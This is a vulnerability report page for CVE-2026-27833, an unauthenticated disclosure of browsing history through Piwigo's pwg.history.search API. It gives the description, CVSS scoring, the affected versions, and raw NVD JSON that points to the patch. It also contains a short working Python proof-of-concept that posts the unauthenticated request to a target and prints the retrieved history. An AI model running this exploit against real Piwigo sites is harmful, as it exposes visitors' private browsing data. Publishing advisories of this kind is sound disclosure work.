Security Vulnerability Report
中文
CVE-2026-27833 CVSS 7.5 HIGH

CVE-2026-27833

Published: 2026-04-03 22:16:26
Last Modified: 2026-04-09 21:14:48

Description

Piwigo is an open source photo gallery application for the web. Prior to version 16.3.0, the pwg.history.search API method in Piwigo is registered without the admin_only option, allowing unauthenticated users to access the full browsing history of all gallery visitors. This issue has been patched in version 16.3.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:* - VULNERABLE
Piwigo < 16.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: Piwigo < 16.3.0 - Unauthenticated Information Disclosure via pwg.history.search # Description: PoC to retrieve browsing history without authentication target_url = "http://localhost/ws.php" # Replace with actual target # The vulnerable API payload payload = { "method": "pwg.history.search", "format": "json" } try: print("[*] Attempting to retrieve browsing history...") response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200: data = response.json() if "result" in data and data["stat"] == "ok": print("[+] Exploit successful! Browsing history data:") print(data) else: print("[-] Request sent but unexpected response format.") else: print(f"[-] Failed to connect. Status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27833", "sourceIdentifier": "[email protected]", "published": "2026-04-03T22:16:25.863", "lastModified": "2026-04-09T21:14:48.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Piwigo is an open source photo gallery application for the web. Prior to version 16.3.0, the pwg.history.search API method in Piwigo is registered without the admin_only option, allowing unauthenticated users to access the full browsing history of all gallery visitors. This issue has been patched in version 16.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.3.0", "matchCriteriaId": "3502BA46-5475-47BC-BA8F-F9456A836F1A"}]}]}], "references": [{"url": "https://github.com/Piwigo/Piwigo/commit/d05c16561ce3692ca922199f8c8d7b1a45893f1c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Piwigo/Piwigo/security/advisories/GHSA-397m-gfhm-pmg2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://piwigo.org/release-16.3.0", "source": "[email protected]", "tags": ["Release Notes"]}]}}